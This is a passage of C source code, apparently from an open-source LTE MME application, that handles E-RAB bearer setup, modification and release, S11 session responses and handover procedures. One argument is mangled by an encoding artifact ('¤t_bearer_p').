s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].e_rab_level_qos_parameters.allocation_and_retention_priority.priority_level =
bearer_context->bearer_level_qos.pl;
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].e_rab_level_qos_parameters.gbr_qos_information.e_rab_maximum_bit_rate_downlink = itti_nas_erab_setup_req->mbr_dl;
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].e_rab_level_qos_parameters.gbr_qos_information.e_rab_maximum_bit_rate_uplink = itti_nas_erab_setup_req->mbr_ul;
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].e_rab_level_qos_parameters.gbr_qos_information.e_rab_guaranteed_bit_rate_downlink = itti_nas_erab_setup_req->gbr_dl;
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].e_rab_level_qos_parameters.gbr_qos_information.e_rab_guaranteed_bit_rate_uplink = itti_nas_erab_setup_req->gbr_ul;
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].e_rab_level_qos_parameters.qci = bearer_context->bearer_level_qos.qci;
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].gtp_teid = bearer_context->s_gw_fteid_s1u.teid;
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].transport_layer_address = fteid_ip_address_to_bstring(&bearer_context->s_gw_fteid_s1u);
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].nas_pdu = itti_nas_erab_setup_req->nas_msg;
itti_nas_erab_setup_req->nas_msg = NULL;
/**
* Check if there is a dedicated bearer procedure ongoing.
* If not this is multi apn. In that case check the new resulting UE-AMBR.
*/
if(!mme_app_get_s11_procedure_create_bearer(ue_context)){
/** No S11 procedure --> multi APN. */
ambr_t total_apn_ambr = mme_app_total_p_gw_apn_ambr(ue_context);
/**
* Should be updated at this point. If the default bearer cannot be set.. pdn will be removed anyway.
* The actually used AMBR will be sent. It can be higher or lower than the actual used UE-AMBR.
* Set the new UE-AMBR.
*/
s1ap_e_rab_setup_req->ue_aggregate_maximum_bit_rate_present = true;
s1ap_e_rab_setup_req->ue_aggregate_maximum_bit_rate.dl = total_apn_ambr.br_dl;
s1ap_e_rab_setup_req->ue_aggregate_maximum_bit_rate.ul = total_apn_ambr.br_ul;
/** Will recalculate these values and set them when the response arrives. */
}else {
/** Not setting the updated UE-AMBR value for dedicated bearers. */
}
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S1AP_MME, NULL, 0, "0 S1AP_E_RAB_SETUP_REQ ue id " MME_UE_S1AP_ID_FMT " ebi %u teid " TEID_FMT " ",
ue_context->mme_ue_s1ap_id,
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].e_rab_id,
s1ap_e_rab_setup_req->e_rab_to_be_setup_list.item[0].gtp_teid);
int to_task = (RUN_MODE_SCENARIO_PLAYER == mme_config.run_mode) ? TASK_MME_SCENARIO_PLAYER:TASK_S1AP;
itti_send_msg_to_task (to_task, INSTANCE_DEFAULT, message_p);
} else {
OAILOG_DEBUG (LOG_MME_APP, "No bearer context found ue " MME_UE_S1AP_ID_FMT " ebi %u\n", itti_nas_erab_setup_req->ue_id, itti_nas_erab_setup_req->ebi);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_nas_erab_modify_req (itti_nas_erab_modify_req_t * const itti_nas_erab_modify_req)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, itti_nas_erab_modify_req->ue_id);
if (!ue_context) {
MSC_LOG_EVENT (MSC_MMEAPP_MME, " NAS_ERAB_MODIFY_REQ Unknown ue " MME_UE_S1AP_ID_FMT " ", itti_nas_erab_modify_req->ue_id);
OAILOG_ERROR (LOG_MME_APP, "UE context doesn't exist for UE " MME_UE_S1AP_ID_FMT "\n", itti_nas_erab_modify_req->ue_id);
// memory leak
bdestroy_wrapper(&itti_nas_erab_modify_req->nas_msg);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Currently only if an S11 procedure exists. */
mme_app_s11_proc_update_bearer_t * s11_proc_update_bearer = mme_app_get_s11_procedure_update_bearer(ue_context);
DevAssert(s11_proc_update_bearer);
bearer_context_t* bearer_context = NULL;
mme_app_get_session_bearer_context_from_all(ue_context, itti_nas_erab_modify_req->ebi, &bearer_context);
if (bearer_context) {
MessageDef *message_p = itti_alloc_new_message (TASK_MME_APP, S1AP_E_RAB_MODIFY_REQ);
itti_s1ap_e_rab_modify_req_t *s1ap_e_rab_modify_req = &message_p->ittiMsg.s1ap_e_rab_modify_req;
s1ap_e_rab_modify_req->mme_ue_s1ap_id = ue_context->mme_ue_s1ap_id;
s1ap_e_rab_modify_req->enb_ue_s1ap_id = ue_context->enb_ue_s1ap_id;
// E-RAB to Be Setup List
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.no_of_items = 1;
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].e_rab_id = bearer_context->ebi;
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].e_rab_level_qos_parameters.allocation_and_retention_priority.pre_emption_capability =
bearer_context->bearer_level_qos.pci == 0 ? 1 : 0;
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].e_rab_level_qos_parameters.allocation_and_retention_priority.pre_emption_vulnerability =
bearer_context->bearer_level_qos.pvi == 0 ? 1 : 0;
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].e_rab_level_qos_parameters.allocation_and_retention_priority.priority_level =
bearer_context->bearer_level_qos.pl == 0 ? 1 : 0;
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].e_rab_level_qos_parameters.gbr_qos_information.e_rab_maximum_bit_rate_downlink = itti_nas_erab_modify_req->mbr_dl;
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].e_rab_level_qos_parameters.gbr_qos_information.e_rab_maximum_bit_rate_uplink = itti_nas_erab_modify_req->mbr_ul;
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].e_rab_level_qos_parameters.gbr_qos_information.e_rab_guaranteed_bit_rate_downlink = itti_nas_erab_modify_req->gbr_dl;
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].e_rab_level_qos_parameters.gbr_qos_information.e_rab_guaranteed_bit_rate_uplink = itti_nas_erab_modify_req->gbr_ul;
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].e_rab_level_qos_parameters.qci = bearer_context->bearer_level_qos.qci;
/**
* UE AMBR: We may have new authorized values in the procedure. Setting them (may be lower or higher).
*/
s1ap_e_rab_modify_req->ue_aggregate_maximum_bit_rate_present = true;
s1ap_e_rab_modify_req->ue_aggregate_maximum_bit_rate.dl = s11_proc_update_bearer->new_used_ue_ambr.br_dl;
s1ap_e_rab_modify_req->ue_aggregate_maximum_bit_rate.ul = s11_proc_update_bearer->new_used_ue_ambr.br_ul;
/** This field is mandatory, always set it. */
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].nas_pdu = itti_nas_erab_modify_req->nas_msg;
itti_nas_erab_modify_req->nas_msg = NULL;
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S1AP_MME, NULL, 0, "0 S1AP_E_RAB_MODIFY_REQ ue id " MME_UE_S1AP_ID_FMT " ebi %u teid " TEID_FMT " ",
ue_context->mme_ue_s1ap_id,
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].e_rab_id,
s1ap_e_rab_modify_req->e_rab_to_be_modified_list.item[0].gtp_teid);
int to_task = (RUN_MODE_SCENARIO_PLAYER == mme_config.run_mode) ? TASK_MME_SCENARIO_PLAYER:TASK_S1AP;
itti_send_msg_to_task (to_task, INSTANCE_DEFAULT, message_p);
} else {
OAILOG_DEBUG (LOG_MME_APP, "No bearer context found ue " MME_UE_S1AP_ID_FMT " ebi %u\n", itti_nas_erab_modify_req->ue_id, itti_nas_erab_modify_req->ebi);
}
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_nas_erab_release_req (mme_ue_s1ap_id_t ue_id, ebi_t ebi, bstring nas_msg)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = mme_ue_context_exists_mme_ue_s1ap_id (&mme_app_desc.mme_ue_contexts, ue_id);
if (!ue_context) {
MSC_LOG_EVENT (MSC_MMEAPP_MME, " NAS_ERAB_RELEASE_REQ Unknown ue " MME_UE_S1AP_ID_FMT " ", ue_id);
OAILOG_ERROR (LOG_MME_APP, "UE context doesn't exist for UE " MME_UE_S1AP_ID_FMT "\n", ue_id);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
/** Send it anyway. */
MessageDef *message_p = itti_alloc_new_message (TASK_MME_APP, S1AP_E_RAB_RELEASE_REQ);
itti_s1ap_e_rab_release_req_t *s1ap_e_rab_release_req = &message_p->ittiMsg.s1ap_e_rab_release_req;
s1ap_e_rab_release_req->mme_ue_s1ap_id = ue_context->mme_ue_s1ap_id;
s1ap_e_rab_release_req->enb_ue_s1ap_id = ue_context->enb_ue_s1ap_id;
// E-RAB to Be Setup List
s1ap_e_rab_release_req->e_rab_to_be_release_list.no_of_items = 1;
s1ap_e_rab_release_req->e_rab_to_be_release_list.item[0].e_rab_id = ebi;
/** Will only be set for the first message if multiple deactivations are to be sent. */
if(nas_msg){
s1ap_e_rab_release_req->nas_pdu = bstrcpy(nas_msg);
}
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_S1AP_MME, NULL, 0, "0 S1AP_E_RAB_RELEASE_REQ ue id " MME_UE_S1AP_ID_FMT " ebi %u ",
ue_id,
s1ap_e_rab_release_req->e_rab_to_be_release_list.item[0].e_rab_id);
int to_task = (RUN_MODE_SCENARIO_PLAYER == mme_config.run_mode) ? TASK_MME_SCENARIO_PLAYER:TASK_S1AP;
itti_send_msg_to_task (to_task, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
void
mme_app_handle_delete_session_rsp (
const itti_s11_delete_session_response_t * const delete_sess_resp_pP)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s *ue_context = NULL;
MessageDef *message_p = NULL;
void *id = NULL;
DevAssert (delete_sess_resp_pP );
OAILOG_DEBUG (LOG_MME_APP, "Received S11_DELETE_SESSION_RESPONSE from S+P-GW with the ID " MME_UE_S1AP_ID_FMT "\n ",delete_sess_resp_pP->teid);
ue_context = mme_ue_context_exists_s11_teid (&mme_app_desc.mme_ue_contexts, delete_sess_resp_pP->teid);
if (!ue_context) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 DELETE_SESSION_RESPONSE local S11 teid " TEID_FMT " ", delete_sess_resp_pP->teid);
OAILOG_WARNING (LOG_MME_APP, "We didn't find this teid in list of UE: %08x\n", delete_sess_resp_pP->teid);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 DELETE_SESSION_RESPONSE local S11 teid " TEID_FMT " IMSI " IMSI_64_FMT " ",
delete_sess_resp_pP->teid, ue_context->emm_context._imsi64);
/*
* Updating statistics
*/
mme_app_desc.mme_ue_contexts.nb_bearers_managed--;
mme_app_desc.mme_ue_contexts.nb_bearers_since_last_stat--;
/**
* Object is later removed, not here. For unused keys, this is no problem, just deregistrate the tunnel ids for the MME_APP
* UE context from the hashtable.
* If this is not done, later at removal of the MME_APP UE context, the S11 keys will be checked and removed again if still existing.
*/
// todo: handle this! where to remove the S11 Tunnel?
// if(ue_context->num_pdns == 1){
// /** This was the last PDN, removing the S11 TEID. */
// hashtable_uint64_ts_remove(mme_app_desc.mme_ue_contexts.tun11_ue_context_htbl,
// (const hash_key_t) ue_context->mme_teid_s11, &id);
// ue_context->mme_teid_s11 = INVALID_TEID;
// /** SAE-GW TEID will be initialized when PDN context is purged. */
// }
if (delete_sess_resp_pP->cause.cause_value != REQUEST_ACCEPTED) { /**< Ignoring currently, SAE-GW needs to check flag. */
OAILOG_WARNING (LOG_MME_APP, "***WARNING****S11 Delete Session Rsp: NACK received from SPGW : %08x\n", delete_sess_resp_pP->teid);
}
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 DELETE_SESSION_RESPONSE local S11 teid " TEID_FMT " IMSI " IMSI_64_FMT " ",
delete_sess_resp_pP->teid, ue_context->imsi);
/*
* Updating statistics
*/
update_mme_app_stats_s1u_bearer_sub();
update_mme_app_stats_default_bearer_sub();
/**
* No (mobility) flags should have been set at the time of the creation.
* todo: network triggered pdn/bearer deactivation?!
*/
if(ue_context->mm_state == UE_REGISTERED && !(delete_sess_resp_pP->internal_flags & INTERNAL_FLAG_SKIP_RESPONSE)) {
/*
* No recursion needed any more. This will just inform the EMM/ESM that a PDN session has been deactivated.
* It will determine what to do based on if its a PDN Disconnect Process or an (implicit) detach.
*/
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_PDN_DISCONNECT_RSP);
// do this because of same message types name but not same struct in different .h
message_p->ittiMsg.nas_pdn_disconnect_rsp.ue_id = ue_context->mme_ue_s1ap_id;
message_p->ittiMsg.nas_pdn_disconnect_rsp.cause = REQUEST_ACCEPTED;
/*
* We don't have an indicator, the message may come out of order. The only true indicator would be the GTPv2c transaction, which we don't have.
* We use the esm_proc_data to find the correct PDN in ESM.
*/
/** The only matching is made in the esm data context (pti specific). */
itti_send_msg_to_task (TASK_NAS_ESM, INSTANCE_DEFAULT, message_p);
} else {
OAILOG_INFO (LOG_MME_APP, " Not forwarding S11 DSResp message for UNREGISTERED UE " MME_UE_S1AP_ID_FMT ". \n", ue_context->mme_ue_s1ap_id);
}
/** No S1AP release yet. */
OAILOG_FUNC_OUT (LOG_MME_APP);
}
//------------------------------------------------------------------------------
int
mme_app_handle_create_sess_resp (
itti_s11_create_session_response_t * const create_sess_resp_pP)
{
OAILOG_FUNC_IN (LOG_MME_APP);
struct ue_context_s * ue_context = NULL;
MessageDef * message_p = NULL;
mme_app_s10_proc_mme_handover_t * s10_handover_procedure;
mme_ue_s1ap_id_t mme_ue_s1ap_id;
DevAssert (create_sess_resp_pP );
ue_context = mme_ue_context_exists_s11_teid (&mme_app_desc.mme_ue_contexts, create_sess_resp_pP->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 CREATE_SESSION_RESPONSE local S11 teid " TEID_FMT " ", create_sess_resp_pP->teid);
OAILOG_ERROR (LOG_MME_APP, "We didn't find this teid in list of UE: %08x\n", create_sess_resp_pP->teid);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
mme_ue_s1ap_id = ue_context->mme_ue_s1ap_id;
/** S10 Procedure. */
s10_handover_procedure = mme_app_get_s10_procedure_mme_handover(ue_context);
/** Idle TAU procedure. */
emm_data_context_t * emm_context = emm_data_context_get(&_emm_data, mme_ue_s1ap_id);
nas_ctx_req_proc_t *emm_cn_proc_ctx_req = NULL;
if(emm_context){ /**< Might be asynchronously removed. */
emm_cn_proc_ctx_req = get_nas_cn_procedure_ctx_req(emm_context);
}
/** Either continue with another CSReq or signal it to the EMM layer. */
mme_ue_eps_pdn_connections_t * pdn_connections = s10_handover_procedure ? s10_handover_procedure->pdn_connections : ((emm_cn_proc_ctx_req) ? emm_cn_proc_ctx_req->pdn_connections : NULL);
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 CREATE_SESSION_RESPONSE local S11 teid " TEID_FMT " ",
create_sess_resp_pP->teid);
/** Process the received CSResp, equally for handover/TAU or not. If success, the pdn context will be edited, if not it will be freed. */
if(mme_app_pdn_process_session_creation(mme_ue_s1ap_id,
&create_sess_resp_pP->s11_sgw_fteid,
&create_sess_resp_pP->cause,
&create_sess_resp_pP->bearer_contexts_created,
&create_sess_resp_pP->ambr,
&create_sess_resp_pP->paa,
&create_sess_resp_pP->pco) == RETURNerror) {
OAILOG_ERROR(LOG_MME_APP, "Aborting the CSR procedure due internal error for UE " MME_UE_S1AP_ID_FMT ". Assuming an implicit detach procedure is ongoing (cause_value=%d). \n", mme_ue_s1ap_id, create_sess_resp_pP->cause.cause_value);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
/** If it is a non-handover/idle-TAU case, just process it. */
if(!pdn_connections){
/** Normal attach or multi-APN procedure. No need to set the PTI. */
// todo: an attach procedure might be ongoing, removing emm context and procedures.. this message should have no effect, the implicit detach should be ongoing
mme_app_itti_nas_pdn_connectivity_response(mme_ue_s1ap_id, create_sess_resp_pP->bearer_contexts_created.bearer_contexts[0].eps_bearer_id, create_sess_resp_pP->cause.cause_value);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
}
OAILOG_INFO(LOG_MME_APP, "Processing the CSResp for mobility procedure for UE " MME_UE_S1AP_ID_FMT " (cause_value=%d). \n", mme_ue_s1ap_id, create_sess_resp_pP->cause.cause_value);
/** Check if there are other PDN contexts to be established. */
pdn_connections->num_processed_pdn_connections++;
if(pdn_connections->num_pdn_connections > pdn_connections->num_processed_pdn_connections) {
OAILOG_INFO(LOG_MME_APP, "We have %d further PDN connections that need to be established via mobile of UE " MME_UE_S1AP_ID_FMT ". \n", (pdn_connections->num_pdn_connections - pdn_connections->num_processed_pdn_connections), mme_ue_s1ap_id);
pdn_connection_t * pdn_connection = &pdn_connections->pdn_connection[pdn_connections->num_processed_pdn_connections];
/*
* When Create Session Response is received, continue to process the next PDN connection, until all are processed.
* When all pdn_connections are completed, continue with handover request.
*/
// todo: check target_tai at idle mode
tai_t * target_tai = (s10_handover_procedure) ? (&s10_handover_procedure->target_tai) : &emm_context->originating_tai;
imsi_t * imsi_p = (s10_handover_procedure) ? (&s10_handover_procedure->nas_s10_context._imsi) : &emm_cn_proc_ctx_req->nas_s10_context._imsi;
DevAssert(imsi_p && target_tai);
/** Create a new PDN context with all dedicated bearers in ESM_EBR_ACTIVE state. */
pdn_context_t * pdn_context = mme_app_handle_pdn_connectivity_from_s10(ue_context, pdn_connection);
if(pdn_context){
mme_app_send_s11_create_session_req (ue_context->mme_ue_s1ap_id, imsi_p, pdn_context, target_tai, pdn_context->pco, (!s10_handover_procedure));
OAILOG_INFO(LOG_MME_APP, "Successfully sent consecutive CSR for APN \"%s\" for UE " MME_UE_S1AP_ID_FMT " due mobility. \n", bdata(pdn_context->apn_subscribed), mme_ue_s1ap_id);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
} else {
OAILOG_ERROR(LOG_MME_APP, "Aborting CSR procedure for UE " MME_UE_S1AP_ID_FMT " (assuming detach process is ongoing). \n", mme_ue_s1ap_id);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
}
/** Continue with the mobility procedure. */
pdn_context_t * first_pdn = RB_MIN(PdnContexts, &ue_context->pdn_contexts);
if(first_pdn){ /**< If any session success was received in this or prios cases, its important for mobility. */
OAILOG_INFO(LOG_MME_APP, "At least PDN \"%s\" exists for ue " MME_UE_S1AP_ID_FMT ". Continuing with the mobility procedure. \n",
bdata(first_pdn->apn_subscribed), mme_ue_s1ap_id);
if(s10_handover_procedure){
/** Send a Handover Request to the target eNB. */
bearer_contexts_to_be_created_t bcs_tbc;
memset((void*)&bcs_tbc, 0, sizeof(bcs_tbc));
pdn_context_t * registered_pdn_ctx = NULL;
RB_FOREACH (registered_pdn_ctx, PdnContexts, &ue_context->pdn_contexts) {
DevAssert(registered_pdn_ctx);
mme_app_get_bearer_contexts_to_be_created(registered_pdn_ctx, &bcs_tbc, BEARER_STATE_NULL); /**< Actual number of bearers established in the SAE-GW. */
}
uint16_t encryption_algorithm_capabilities = (uint16_t)0;
uint16_t integrity_algorithm_capabilities = (uint16_t)0;
/** Update the security parameters of the MM context of the S10 procedure. */
mm_ue_eps_context_update_security_parameters(mme_ue_s1ap_id, s10_handover_procedure->nas_s10_context.mm_eps_ctx, &encryption_algorithm_capabilities, &integrity_algorithm_capabilities);
ambr_t total_apn_ambr = mme_app_total_p_gw_apn_ambr(ue_context);
mme_app_send_s1ap_handover_request(mme_ue_s1ap_id,
&bcs_tbc,
&total_apn_ambr,
// todo: check for macro/home enb_id
s10_handover_procedure->target_id.target_id.macro_enb_id.enb_id,
encryption_algorithm_capabilities,
integrity_algorithm_capabilities,
s10_handover_procedure->nas_s10_context.mm_eps_ctx->nh,
s10_handover_procedure->nas_s10_context.mm_eps_ctx->ncc,
s10_handover_procedure->source_to_target_eutran_f_container.container_value);
s10_handover_procedure->source_to_target_eutran_f_container.container_value = NULL; /**< Set it to NULL ALWAYS. */
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
} else {
/** Continue with the idle TAU or attach/multi-APN procedure. */
mme_app_itti_nas_context_response(ue_context, &emm_cn_proc_ctx_req->nas_s10_context);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
}
}
/** No session could be established at all. */
OAILOG_ERROR(LOG_MME_APP, "No PDN connectivity could be established for handovered ue " MME_UE_S1AP_ID_FMT ". \n", mme_ue_s1ap_id);
if(s10_handover_procedure){
/** No NAS layer exists, because CSR is only sent for S10 handover. */
mme_app_send_s10_forward_relocation_response_err(s10_handover_procedure->remote_mme_teid.teid,
s10_handover_procedure->remote_mme_teid.ipv4_address,
s10_handover_procedure->forward_relocation_trxn, RELOCATION_FAILURE);
/** Perform an implicit NAS detach. */
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_IMPLICIT_DETACH_UE_IND);
DevAssert (message_p != NULL);
message_p->ittiMsg.nas_implicit_detach_ue_ind.ue_id = mme_ue_s1ap_id;
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
}else {
/** Respond to the EMM layer about the failed context request. */
_mme_app_send_nas_context_response_err(mme_ue_s1ap_id, RELOCATION_FAILURE);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
}
}
//------------------------------------------------------------------------------
int
mme_app_handle_modify_bearer_resp (
const itti_s11_modify_bearer_response_t * const modify_bearer_resp_pP)
{
struct ue_context_s *ue_context = NULL;
struct pdn_context_s *pdn_context = NULL;
bearer_context_t *current_bearer_p = NULL;
MessageDef *message_p = NULL;
int16_t bearer_id =5;
int rc = RETURNok;
OAILOG_FUNC_IN (LOG_MME_APP);
DevAssert (modify_bearer_resp_pP );
OAILOG_DEBUG (LOG_MME_APP, "Received S11_MODIFY_BEARER_RESPONSE from S+P-GW\n");
ue_context = mme_ue_context_exists_s11_teid (&mme_app_desc.mme_ue_contexts, modify_bearer_resp_pP->teid);
if (ue_context == NULL) {
MSC_LOG_RX_DISCARDED_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 MODIFY_BEARER_RESPONSE local S11 teid " TEID_FMT " ", modify_bearer_resp_pP->teid);
OAILOG_DEBUG (LOG_MME_APP, "We didn't find this teid in list of UE: %08x\n", modify_bearer_resp_pP->teid);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNerror);
}
MSC_LOG_RX_MESSAGE (MSC_MMEAPP_MME, MSC_S11_MME, NULL, 0, "0 MODIFY_BEARER_RESPONSE local S11 teid " TEID_FMT " IMSI " IMSI_64_FMT " ",
modify_bearer_resp_pP->teid, ue_context->imsi);
/*
* Updating statistics
*/
if (modify_bearer_resp_pP->cause.cause_value != REQUEST_ACCEPTED) {
/**
* Check if it is an X2 Handover procedure, in that case send an X2 Path Switch Request Failure to the target MME.
* In addition, perform an implicit detach in any case.
*/
if(modify_bearer_resp_pP->internal_flags & INTERNAL_FLAG_X2_HANDOVER){
OAILOG_ERROR(LOG_MME_APP, "Error modifying SAE-GW bearers for UE with ueId: " MME_UE_S1AP_ID_FMT " (no implicit detach - waiting explicit detach.). \n", ue_context->mme_ue_s1ap_id);
/** Remove any idles bearers for all the PDNs. */
pdn_context_t * pdn_context = NULL;
bearer_context_t * pBearerCtx = NULL;
/** Set all FTEIDs, also those not in the list to 0. */
mme_app_send_s1ap_path_switch_request_failure(ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id, ue_context->sctp_assoc_id_key, S1ap_Cause_PR_misc);
/** We continue with the implicit detach, since handover already happened. */
}
/** Implicitly detach the UE --> If EMM context is missing, still continue with the resource removal. */
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_IMPLICIT_DETACH_UE_IND);
DevAssert (message_p != NULL);
message_p->ittiMsg.nas_implicit_detach_ue_ind.ue_id = ue_context->mme_ue_s1ap_id;
message_p->ittiMsg.nas_implicit_detach_ue_ind.emm_cause = EMM_CAUSE_NETWORK_FAILURE;
message_p->ittiMsg.nas_implicit_detach_ue_ind.detach_type = 0x02; // Re-Attach Not required;
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_IMPLICIT_DETACH_UE_IND_MESSAGE");
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
}
mme_app_get_session_bearer_context_from_all(ue_context, modify_bearer_resp_pP->bearer_contexts_modified.bearer_contexts[0].eps_bearer_id, ¤t_bearer_p);
/** Get the first bearers PDN. */
/** In this case, we will ignore the MBR and assume a detach process is ongoing. */
if(!current_bearer_p){
OAILOG_INFO(LOG_MME_APP, "We could not find the first bearer with eBI %d in the set of bearers. Ignoring the MBResp for UE with ueId: " MME_UE_S1AP_ID_FMT ". \n",
modify_bearer_resp_pP->bearer_contexts_modified.bearer_contexts[0].eps_bearer_id, ue_context->mme_ue_s1ap_id);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
}
mme_app_get_pdn_context(ue_context->mme_ue_s1ap_id, current_bearer_p->pdn_cx_id, current_bearer_p->linked_ebi, NULL, &pdn_context);
/** If a too fast detach happens this is null. */
DevAssert(pdn_context); /**< Should exist if bearers exist (todo: lock for this). */
/** Set all bearers of the pdn context to valid. */
/*
* Remove any idles bearers, also in the case of (S10) S1 handover.
* The PDN Connectivity element would always be more or equal than the actual number of established bearers.
*/
bearer_context_t * bc_to_act = NULL;
RB_FOREACH (bc_to_act, SessionBearers, &pdn_context->session_bearers) {
DevAssert(bc_to_act);
// todo: should be in lock.
if(bc_to_act->bearer_state & BEARER_STATE_ENB_CREATED)
bc_to_act->bearer_state |= BEARER_STATE_ACTIVE;
}
// todo: set the downlink teid?
/** No matter if there is an handover procedure or not, continue with the MBR for other PDNs. */
pdn_context = NULL;
RB_FOREACH (pdn_context, PdnContexts, &ue_context->pdn_contexts) {
DevAssert(pdn_context);
bearer_context_t * first_bearer = RB_MIN(SessionBearers, &pdn_context->session_bearers);
DevAssert(first_bearer);
// todo: here check, that it is not a deactivated bearer..
if(first_bearer->bearer_state & BEARER_STATE_ACTIVE){
/** Continue to next pdn. */
continue;
}else{
if(first_bearer->bearer_state & BEARER_STATE_ENB_CREATED){
/** Found a PDN. Establish the bearer contexts. */
OAILOG_INFO(LOG_MME_APP, "Establishing the bearers for UE_CONTEXT for UE " MME_UE_S1AP_ID_FMT " triggered by handover notify (not active but ENB Created). \n", ue_context->mme_ue_s1ap_id);
/** Add the same flags back in. */
mme_app_send_s11_modify_bearer_req(ue_context, pdn_context, modify_bearer_resp_pP->internal_flags);
OAILOG_FUNC_RETURN (LOG_MME_APP, RETURNok);
}
}
}
/** If it is an X2 Handover, send a path switch response back. */
if(modify_bearer_resp_pP->internal_flags & INTERNAL_FLAG_X2_HANDOVER) {
OAILOG_INFO(LOG_MME_APP, "Sending an S1AP Path Switch Request Acknowledge for UE with ueId: " MME_UE_S1AP_ID_FMT ". \n", ue_context->mme_ue_s1ap_id);
uint16_t encryption_algorithm_capabilities = 0;
uint16_t integrity_algorithm_capabilities = 0;
if(emm_data_context_update_security_parameters(ue_context->mme_ue_s1ap_id, &encryption_algorithm_capabilities, &integrity_algorithm_capabilities) != RETURNok){
OAILOG_ERROR(LOG_MME_APP, "Error updating AS security parameters for UE with ueId: " MME_UE_S1AP_ID_FMT ". \n", ue_context->mme_ue_s1ap_id);
mme_app_send_s1ap_path_switch_request_failure(ue_context->mme_ue_s1ap_id, ue_context->enb_ue_s1ap_id,
ue_context->sctp_assoc_id_key, S1ap_Cause_PR_nas);
/** Implicitly detach the UE --> If EMM context is missing, still continue with the resource removal. */
message_p = itti_alloc_new_message (TASK_MME_APP, NAS_IMPLICIT_DETACH_UE_IND);
DevAssert (message_p != NULL);
message_p->ittiMsg.nas_implicit_detach_ue_ind.ue_id = ue_context->mme_ue_s1ap_id;
MSC_LOG_TX_MESSAGE (MSC_MMEAPP_MME, MSC_NAS_MME, NULL, 0, "0 NAS_IMPLICIT_DETACH_UE_IND_MESSAGE");
itti_send_msg_to_task (TASK_NAS_EMM, INSTANCE_DEFAULT, message_p);
OAILOG_FUNC_OUT (LOG_MME_APP);
}
OAILOG_INFO(LOG_MME_APP, "Successfully updated AS security parameters for UE with ueId: " MME_UE_S1AP_ID_FMT " for X2 handover. \n", ue_context->mme_ue_s1ap_id);
bearer_contexts_created_t bcs_tbs;
memset((void*)&bcs_tbs, 0, sizeof(bcs_tbs));
pdn_context_t * registered_pdn_ctx = NULL;
RB_FOREACH (registered_pdn_ctx, PdnContexts, &ue_context->pdn_contexts) {
DevAssert(registered_pdn_ctx);
mme_app_get_bearer_contexts_to_be_created(registered_pdn_ctx, &bcs_tbs, BEARER_STATE_NULL);
